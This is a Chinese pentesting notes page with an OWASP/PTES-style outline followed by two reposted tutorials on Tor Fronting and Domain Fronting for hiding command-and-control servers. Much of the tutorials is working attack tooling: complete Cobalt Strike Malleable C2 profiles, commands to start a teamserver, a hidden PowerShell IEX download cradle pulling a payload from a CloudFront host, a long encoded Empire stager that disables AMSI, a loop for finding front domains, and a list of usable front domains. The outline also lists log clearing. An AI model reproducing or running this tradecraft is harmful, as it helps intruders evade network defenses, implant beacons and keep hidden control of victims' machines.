OWASP 测试指南 渗透测试流程标准化

渗透测试标准

渗透测试的标准:
http://www.pentest-standard.org/index.php/Post_Exploitation
http://www.isecom.org/research/osstmm.html
https://www.owasp.org/index.php/Main_Page

参考: http://netsec.ccert.edu.cn/zhugejw/2011/07/28/ptes/

PTES(PTES: Penetration Testing Execution Standard)渗透测试执行标准是安全业界在渗透测试技术领域中正开发的一个新标准,目标是在对渗透测试进行重新定义,新标准的核心理念是通过建立起 进行渗透测试所要求的基本准则基线,来定义一次真正的渗透测试过程,并得到安全业界的广泛认同。目前该标准尚在制定过程中,wiki网站地址为:http://www.pentest-standard.org/。我对目前PTES标准已完成的MindMap进行了翻译,供参考。

OWASP测试指南V3.0中文版
OWASP测试指南V4.0(2014)英文版已正式发布。PDF下载(英文版)

我这里只是想借助OWASP测试指南的部分方式来构建一套自己使用的标准化的渗透测试流程,当然如果有直接的标准化的渗透测试流程的话欢迎留言告知。

大纲

预先准备

PGP

比特币

VPS/VPN/C&C

踪迹隐藏

学习完Domain Fronting之后,又从@vysecurity的文章里学会了一个新的姿势–Tor Fronting,使用Tor Fronting
同样能在攻击中隐藏自己,并且更加容易实现,此文就来介绍一下这个新的姿势。

隐匿的攻击之-Domain Fronting
http://www.4hou.com/technology/3516.html
隐匿的攻击之-Tor Fronting
https://evi1cg.me/archives/Domain_Fronting.html

信息收集

被动信息收集

开放信息获取
Google Hacking
Email 采集
Whois 及域名注册信息
联系方式(手机号)
工商信息

主动信息收集

DNS枚举
子域名爆破

端口扫描

Nmap
在线Nmap http://www.soujujia.com/

SMB枚举

NetBIOS
SMB

SMTP

SMTP Sniff

SNMP

MIB Tree

漏洞扫描(Vulnerability Scan)

AWVS
Bugscan
OpenVAS

权限提升

Linux 本地提权

Windows 本地提权

配置错误

后渗透 (Post-exploitation)

端口转发

文件上传/下载

高价值目标搜索

权限维持(Persistence)

web端安全之权限维持
作者:Binghe
内容来源:i春秋
http://mp.weixin.qq.com/s?src=3&timestamp=1488539352&ver=1&signature=JlOYG1I7j-uZsPWrS11vIjHxM-gTtlcOrU-4PnAHiqn0m3U4*QRROwM19NRMxgOd2OkosuXntW2nlRk9gETvmAKp7*RbJO4-rPyHA20LUJWB5xbJeEXEk4lmDGZmpohFrT-2WPUOm8*mGJL19DBSvL7Y*N6Akb7NzEx0ZSMIWQY=

日志清理

信息收集

蜘蛛,机器人和爬虫(OWASP-IG-001)

观察robots协议是否暴露敏感信息
举例 https://www.baidu.com/robots.txt

搜索引擎发现/侦查(OWASP-IG-002)

通常也叫做 google hacking。

一种是采用site:chinatt.com这种方式,这种方式用来搜索所有包括该站点的一些信息。
一种是采用cache:chinatt.com这种方式,这种方式
也有一些其他技巧待补充,例如 inurl 关键字。

WEB应用指纹测试(OWASP-IG-004)

这一步的目的是用来看网络应用采用的是什么框架,使用的Web服务器版本等信息。

有一个常见的web应用指纹探测工具 Wappalyzer
另外有些在线扫描器也提供web应用指纹探测服务。

backup

Tor Fronting

0x01 简介

学习完Domain Fronting之后,又从@vysecurity的文章里学会了一个新的姿势–Tor Fronting,使用Tor Fronting ,同样能在攻击中隐藏自己,并且更加容易实现,此文就来介绍一下这个新的姿势。

0x02 Tor Hidden Services

Tor是互联网上用于保护您隐私最有力的工具之一,而Tor Hidden Services则是为了隐藏自己的网站或者其他服务的一个服务。通过此服务,我们可以获取到一个通过Tor Browser来访问的Hostname,此Hostname唯一且匿名,所以我们完全可以使用这个Hostname来为我们转发流量从而达到隐匿的目的。

怎样搭建Tor Hidden Services可以参考此wiki,下面介绍一下我测试环境的搭建过程。
环境为:Ubuntu 12.04
搭建过程如下:
查看系统信息:

lsb_release -a
1488523664840587.png

可以看到Codename为precise,所以在这里选择deb类型如下:

1488523712445346.png

之后按照官方wiki修改更新源,我的源路径为/etc/apt/sources.list,有的系统更新源路径可能在/etc/apt/sources.list.d/,在源中添加以下条目:

deb http://deb.torproject.org/torproject.org precise main
deb-src http://deb.torproject.org/torproject.org precise main
1488523753277661.png

之后执行以下命令:

gpg –keyserver keys.gnupg.net –recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg –export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -
安装:

$ sudo apt-get update
$ sudo apt-get install tor deb.torproject.org-keyring
执行完成以后,就成功安装了,如果出现问题,可以查看一下wiki。

之后要对tor进行一下配置,编辑配置文件/etc/tor/torrc,将以下两个参数前的注释去掉。

HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:8080
HiddenServicePort为代理的端口,将本地的8080端口服务转发到80端口。
配置完成以后对Tor服务进行重启:

sudo service tor restart
查看获取到的hostname:

sudo cat /var/lib/tor/hidden_service/hostname
1488523808853156.png

其中xxxxx.onion则为我们的Tor隐藏服务。通过访问这个地址,可以访问到我们服务器8080端口的服务,下面进行一下测试。
开启8080端口的服务:

☁ ~ cd /tmp
☁ ~ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 …
使用tor浏览器访问此域名,可看到8080端口的响应:

1488523856653801.png

0x03 Tor2Web

要对这个隐藏server进行利用,需要借助于一个代理,即tor2web,因为要想访问到隐藏服务,直接通过一般浏览器是不行的,所以,可以借助于tor2web,需要做的也很简单,当我们访问形如http://duskgytldkxiuqc6.onion/的链接时,直接修改.onion成.onion.to或.onion.city 或 onion.cab 或者任何一个提供此服务的域名即可。如下图:

1488523907610033.png

当然,这里会有一个问题,就是访问的时候,会需要我们点击一个按钮才能正常访问,如下图:

1488523950633919.png

那么怎么样才能直接访问呢,很简单,只需要带上点击以后的cookie就可以了,测试如下:

1488524056302821.png

curl -b ‘onion_cab_iKnowShit=yourcookie’ ‘https://xxxx.onion.cab/1.txt
0x04 Cobalt Strike

同样的,我们使用Cobalt Strike来进行测试。这里需要配置一个新的profile,@vysecurity已经提供了一个,具体如下:
tor-fronting.profile

make our C2 look like a Google Web Bug

https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting

#

Author: @armitagehacker

Modified by Vincent Yiu @vysecurity for TOR.

set sleeptime “5000”;
http-get {
set uri “/_utm”;
client {
header “Host” “bjaw6h36vwruhwvb.onion.cab”;
header “Cookie” “onion_cab_iKnowShit=8919090b066c57c2638a0956e1af4e8d”;
metadata {
base64url;
prepend “\
utma”;
parameter “utmcc”;
}
}
server {
header “Content-Type” “plain/text”;
output {

                # hexdump pixel.gif
                # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
                # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
                # 0000020 01 00 01 00 00 02 01 44 00 3b
                prepend "x01x00x01x00x00x02x01x44x00x3b";
                prepend "xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00";
                prepend "x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00";
                print;
        }
}

}
http-post {
set uri “/__utm”;
set verb “GET”;
client {
header “Host” “bjaw6h36vwruhwvb.onion.cab”;
header “Cookie” “onion_cab_iKnowShit=8919090b066c57c2638a0956e1af4e8d”;
id {
prepend “UA-220”;
append “-2”;
parameter “utmac”;
}
output {
base64url;
prepend “__utma”;
parameter “utmcc”;
}
}
server {
header “Content-Type” “plain/text”;
output {
prepend “x01x00x01x00x00x02x01x44x00x3b”;
prepend “xffxffxffx21xf9x04x01x00x00x00x2cx00x00x00x00”;
prepend “x47x49x46x38x39x61x01x00x01x00x80x00x00x00x00”;
print;
}
}
}

dress up the staging process too

http-stager {
server {
header “Content-Type” “plain/text”;
}
}
在这里需要注意的是,我们需要修改Get以及Post中的Host及Cookie为自己的。当然,如果你想让数据包呈现别的样子,你也可以自己再写一个profile。

开启teamserver:

☁ cobal sudo ./teamserver [your ip] hacktest tor-fronting.profile
1488524105436218.png

连接到Teamserver,之后创建监听:

333.png

因为onion.cab使用的https,所以我们需要生成一个HTTPS Beacon,Host随意输入一个域名,端口一定要改成443。

使用onion.cab:

1488524182176629.png

生成HTTPS Beacon:

5.png

生成HTTPS Beacon以后,要修改监听到8080端口,并且使用HTTP,因为这是tor转发的服务。
选择Edit:

1488524248686330.png

修改参数如下:

555.png

保存之后,运行HTTPS beacon,成功上线:

1488524335412351.png

操作视频

0x05 小结

使用Tor Fronting 有以下几个特点:

1、你不需要外网环境,将C2放到Docker或者本地都可以!(但是需要服务器在墙外)
2、使C2匿名;
3、并不需要在目标机上安装Tor;
4、默认是安全的。
5、要求C2上同时安装Cobalt Strike及Tor服务。
通过流量转发来隐藏自己的真正服务器是隐藏的关键,而如何寻找转发和怎么样使用它是很有趣的过程,希望文章能给你有所启发。

0x06 参考

1、https://www.torproject.org/docs/tor-hidden-service.html.en
2、https://www.mdsec.co.uk/2017/02/tor-fronting-utilising-hidden-services-for-privacy/
3、https://secureallthethings.blogspot.co.uk/2016/11/use-tor-use-empire.html
4、https://www.tor2web.org/

Domain Fronting

0x01 简介

最近看到了一些关于Domain Fronting的技术,感觉很有意思,其特点在于,你真正访问的域名并不是你看到的域名,即可以隐藏攻击者的真实地址,并且此技术能够让我们在一些受限制的网络中依然连接到我们的C2服务器,其关键思想是在不同的通信层使用不同的域名,在HTTP(S)请求中,目标域名通常显示在三个关键位置:DNS查询,TLS(SNI)拓展及HTTP主机头中,通常,这三个地方都会是我们要访问的域名地址,然而,在”Domain Fronting”请求中,DNS查询以及SNI携带了一个域名(前域),而在HTTP host头中携带了另一个域名(隐蔽的,被禁止访问的域名),简单的图例如下:

1487928970021.png

通常检查器不能阻止DNS及SNI中请求的内容,而HOST头对检查器不可见,但对接收HTTP(S)请求的前端服务器可见,而前端服务器,在内部请求HTTP头中的Host的地址,进而达到隐蔽目的地的目的。关于Domain Fronting 这里有一篇文章有详细的介绍《Blocking-resistant communication through domain fronting》。本文就不在详细介绍了。感觉这个技术很有趣,所以就对此技术进行了一下研究与学习,并写此文进行分享。

0x02 情形

渗透测试过程中,我们会遇到这种情形,即网络中部署了很多防御方案,比如防火墙开启IDP,IPS,IDS等,这些方案可用于限制网络出站规则,例如,仅仅允许TCP 80及443通过代理离开网络,并且还会有许多设备在应用层来检查这个流量,如果检测到恶意的Payload,则进行拦截并报警。绕过这些解决方案一直是入侵者与防御者之间的博弈,防御者努力的想怎么拦,而入侵者在努力的想怎么绕。因此也有了很多很多的攻击技术,比如DNS隧道,ICMP隧道等等。最近有一篇文章《Doodles, stickers, and censorship circumvention for Signal Android》介绍了通过Domain Fronting来绕过信号限制的方式,在此文中指出“许多流行的服务和CDN(如Google,Amazon Cloudfront,Amazon S3,Azure,CloudFlare,Fastly和Akamai)可以以一种方式获取信号,这种方式看起来与其他未经审查的流量不可辨别。因此,我们也可以通过此技术来绕过一些过滤规则。

0x03 示例

这里我们使用Amazon’s CloudFront作为一个演示,CloudFront是一种内容交付网络服务。它为用户提供了一个全局分布式缓存,用于托管在其服务器上的文件。这减少了客户服务器上的负载,并允许CDN提供来自与请求者数据中心的缓存内容,当客户端连接到CloudFront的时候,其根据HOST头来判断客户端想要请求的域名,首先在Amazon’s CloudFront注册账号,之后按以下步骤建立自己的CloudFront:
一、选择服务,CloudFront

1487935200773.png

二、新建节点

1487936788551.png

三、配置节点
1487937150167.png

填入自己的域名,并把Origin Protocol Policy配置为Match Viewer

1487937381866.png

修改箭头几处值

其他默认,点击创建。成功如下图:

1487937492210.png

evi1cg.me为指向测试C2服务器的域名,下面使用wget来进行测试。

wget -U demo -q -O - http://evi1cg.me/foo.txt
hello there !
d289wv3b5uz3me.cloudfront.net为我的CloudFront,对这个域名的访问可访问到evi1cg.me的IP。

wget -U demo -q -O - http://d289wv3b5uz3me.cloudfront.net/foo.txt
hello there !
如下图:

1487937890235.png

现在我们来伪造主机头来试试看。这里使用a0.awsstatic.com,此域名来自于这里。
直接访问不会范围任何东西:

wget -U demo -q -O - http://a0.awsstatic.com/foo.txt
修改Host头,伪造Host为我们创建的CloudFront所分发的FQDN,这样就返回了我们要访问的文件:

wget -U demo -q -O - http://a0.awsstatic.com/foo.txt –header “Host: d289wv3b5uz3me.cloudfront.net”
如下图:

1487938242961.png

这样我们就可以使用高信誉域名来代替我们自己的域名了。

那么如何寻找类似于a0.awsstatic.com这样的高信誉域名呢,这里可以使用这个简单的命令来寻找:

for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/foo.txt –header “Host: d289wv3b5uz3me.cloudfront.net” && echo $i$j; done;done
如下图:

1487939278917.png

当然这里还可以写一个脚本来从热门网站列表中寻找可以使用的CDN子域,关于这个可以参考这个文章Domain Fronting Via Cloudfront Alternate Domains。

下面分享几个可用的域名:

cdn.az.gov,cdn.zendesk.com,cdn.atlassian.com,a1.awsstatic.com,f0.awsstatic.com

0x04 应用

1.Cobalt Strike

大家都知道,Cobalt Strike可以通过Malleable C2 profile来修改becon的传输方式,那么在这里,我们也可以通过这个来进行重定向。所以要修改的就是在文件中修改header的Host指向我们的节点。比如:

http-get {
client {
header “Host” “[your distribution].cloudfront.net”;
http-post {
client {
header “Host” “[your distribution].cloudfront.net”;
这里要注意的是http-get与http-post都要修改。
一个修改好的webbug.profile如下:

make our C2 look like a Google Web Bug

https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting

#

Author: @armitagehacker

http-get {
set uri “/__utm.gif”;
client {
parameter “utmac” “UA-2202604-2”;
parameter “utmcn” “1”;
parameter “utmcs” “ISO-8859-1”;
parameter “utmsr” “1280x1024”;
parameter “utmsc” “32-bit”;
parameter “utmul” “en-US”;
header “Host” “d289wv3b5uz3me.cloudfront.net”;
metadata {
netbios;
prepend “__utma”;
parameter “utmcc”;
}
}
server {
header “Content-Type” “image/gif”;
output {

        # hexdump pixel.gif
        # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
        # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
        # 0000020 01 00 01 00 00 02 01 44 00 3b
        prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
        prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
        prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
        print;
    }
}

}
http-post {
set uri “/___utm.gif”;
client {
header “Content-Type” “application/octet-stream”;
id {
prepend “UA-220”;
append “-2”;
parameter “utmac”;
}
parameter “utmcn” “1”;
parameter “utmcs” “ISO-8859-1”;
parameter “utmsr” “1280x1024”;
parameter “utmsc” “32-bit”;
parameter “utmul” “en-US”;
header “Host” “d289wv3b5uz3me.cloudfront.net”;
output {
print;
}
}
server {
header “Content-Type” “image/gif”;
output {
prepend “\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b”;
prepend “\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00”;
prepend “\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00”;
print;
}
}
}

dress up the staging process too

http-stager {
server {
header “Content-Type” “image/gif”;
}
}
使用c2lint 来测试:

./c2lint Malleable-C2-Profiles/normal/webbug.profile
1488004981887.png

可以看到host已经改成了我们的节点地址。
之后启动teamserver:

☁ cobal sudo ./teamserver [your ip] hacktest webbug.profile
1488006856445.png

之后连接到teamserver。
创建监听:

1488012794921.png

注意host填的地址。并且要注意端口一定要是80。之后再填入我们找的那些高信誉域名地址,比如cdn.az.gov,当然可以填入多个,以,隔开即可:

1488013056103.png

使用web Delivery进行测试:

1488012868208.png

生成Posershell命令如下:

powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://d289wv3b5uz3me.cloudfront.net:80/a‘))”
客户端运行以后成功上线:

1488013203593.png

使用wireshark查看流量:

2.gif

可以看到流量里面并没有我们的真实域名而只有我们的节点地址,而解析的DNS地址是高信誉域名的地址。

如果想使用HTTPS,可以参考使用HTTPS beacon,及这个视频。本文就不做介绍了。

2.Empire

使用Empire2.0(之所以使用2.0,是因为2.0可以自定义http头信息,只需要使用”|” 隔开即可),需要对Listener进行重新配置。具体设置如下:

(Empire: listeners) > uselistener http
(Empire: listeners/http) >
(Empire: listeners/http) > set Host http://cdn.az.gov:80
(Empire: listeners/http) > set DefaultProfile /admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (WindowsNT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko | Host:d289wv3b5uz3me.cloudfront.net
(Empire: listeners/http) > execute
[*] Starting listener ‘http’
[+] Listener successfully started!
特别注意DefaultProfile后面添加了Host,并且使用端口为80!

配置后结果如下:

1488020089367.png

之后开启监听,并配置stager

(Empire: listeners) > usestager multi/launcher
(Empire: stager/multi/launcher) > set Listener http
(Empire: stager/multi/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBSAEUAZgBdAC4AQQBTAFMARQBNAGIAbABZAC4ARwBlAFQAVABZAFAAZQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkAZQBMAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAQQBMAFUARQAoACQATgBVAGwATAAsACQAVAByAFUARQApAH0AOwBbAFMAeQBTAHQAZQBtAC4ATgBFAHQALgBTAGUAUgB2AGkAYwBlAFAATwBpAE4AVABNAGEAbgBhAEcAZQByAF0AOgA6AEUAWABwAGUAQwB0ADEAMAAwAEMAbwBOAHQASQBOAFUAZQA9ADAAOwAkAHcAQwA9AE4ARQBXAC0ATwBCAEoARQBDAHQAIABTAHkAUwBUAEUATQAuAE4AZQBUAC4AVwBFAEIAQwBMAEkARQBOAHQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwBOAFQAIAA2AC4AMQA7ACAAVwBPAFcANgA0ADsAIABUAHIAaQBkAGUAbgB0AC8ANwAuADAAOwByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAEgARQBBAEQARQBSAFMALgBBAEQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBvAHgAWQA9AFsAUwBZAHMAVABFAG0ALgBOAGUAdAAuAFcARQBiAFIARQBxAFUAZQBTAFQAXQA6ADoARABlAEYAYQB1AEwAdABXAEUAQgBQAHIAbwBYAHkAOwAkAHcAYwAuAFAAUgBvAHgAeQAuAEMAUgBlAEQARQBOAHQAaQBhAEwAcwAgAD0AIABbAFMAWQBzAHQARQBtAC4ATgBlAFQALgBDAHIAZQBEAGUAbgBUAEkAQQBsAEMAQQBjAGgAZQBdADoAOgBEAEUARgBhAFUAbAB0AE4ARQBUAHcATwByAGsAQwByAGUAZABlAG4AVABJAGEAbABTADsAJABLAD0AWwBTAHkAcwB0AGUAbQAuAFQAZQBYAFQALgBFAG4AQwBvAGQASQBuAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgB5AHQARQBzACgAJwBlADEAMABhAGQAYwAzADkANAA5AGIAYQA1ADkAYQBiAGIAZQA1ADYAZQAwADUANwBmADIAMABmADgAOAAzAGUAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAUgBnAHMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAG8AVQBuAFQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgB4AE8AcgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJAB3AEMALgBIAEUAQQBEAGUAcgBzAC4AQQBkAGQAKAAiAEgAbwBzAHQAIgAsACIAZAAyADgAOQB3AHYAMwBiADUAdQB6ADMAbQBlAC4AYwBsAG8AdQBkAGYAcgBvAG4AdAAuAG4AZQB0ACIAKQA7ACQAVwBjAC4ASABFAEEAZABFAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AUgBTAHoAKwB5AEQAUABVAFEAcgBwAGwAVQBNAGQAbABKAEIAKwBVAEoAZwBEAHAAagB1AHcAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAGMAZABuAC4AYQB6AC4AZwBvAHYAOgA4ADAAJwA7ACQAdAA9ACcALwBuAGUAdwBzAC4AYQBzAHAAJwA7ACQAZABBAHQAYQA9ACQAVwBDAC4ARABPAFcATgBsAG8AYQBEAEQAYQB0AEEAKAAkAHMARQByACsAJABUACkAOwAkAGkAVgA9ACQAZABBAHQAQQBbADAALgAuADMAXQA7ACQAZABhAHQAYQA9ACQARABBAHQAQQBbADQALgAuACQARABBAFQAYQAuAEwARQBuAGcAdABIAF0AOwAtAGoAbwBpAG4AWwBDAGgAYQBSAFsAXQBdACgAJgAgACQAUgAgACQARABhAFQAQQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA
执行过程如下:

1.gif

其DNS查询结果为:

1488020545677.png

开启的网络连接为:
1488020641953.png

0x05 小结

使用此技巧可以有效地隐藏自己的真实地址,并且可以在一定程度上绕过某些防护,在渗透测试中应该是一个很不错的技术,希望此文对你有所帮助。

0x06 参考

1、https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks
2、https://www.bamsoftware.com/papers/fronting/
3、https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/
4、https://www.xorrior.com/Empire-Domain-Fronting/